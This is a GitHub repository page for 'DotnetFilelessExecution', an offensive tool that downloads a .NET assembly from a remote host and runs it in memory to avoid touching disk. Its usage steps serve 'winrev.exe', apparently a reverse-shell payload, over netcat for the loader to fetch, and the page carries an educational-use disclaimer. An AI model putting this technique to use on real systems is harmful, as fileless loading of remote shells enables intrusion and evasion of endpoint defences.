Skip to content

Fetch a remote C# Assembly and execute it in memory using Assembly.Load

License

Notifications You must be signed in to change notification settings

Sayan690/DotnetFilelessExecution

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 

Repository files navigation

DotnetFilelessExecution

Overview

DotnetFilelessExecution (DFE) is the very basic demonstration of how to fetch a .NET assembly remotely and the execute it on the client side directly in memory, i.e., without having to save the assembly on the disk.

Compilation

I have used cross compilation but of course, Visual Studio can be used.

mcs -out:DotnetFilelessExecution.exe DotnetFilelessExecution.cs

Usage

  • Start a simple Netcat file sharing server, serving the .NET compiled assembly which you want to execute.
nc -nvlp 80 < winrev.exe
  • Use DotnetFilelessExecution to execute it remotely in memory
.\DotnetFilelessExecution.exe

Note

For demonstration purposes, the connect back addresses is hardcoded in the source files. In order to make most of this program, please consider to change that according to your desired needs.

Disclaimer

This project is intended for educational and security testing purposes only. The author is not responsible for any misuse of this tool.

Author

Developed by Sayan Ray @BareBones90

License

This project is licensed under the MIT License - see the LICENSE file for details.

About

Fetch a remote C# Assembly and execute it in memory using Assembly.Load

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages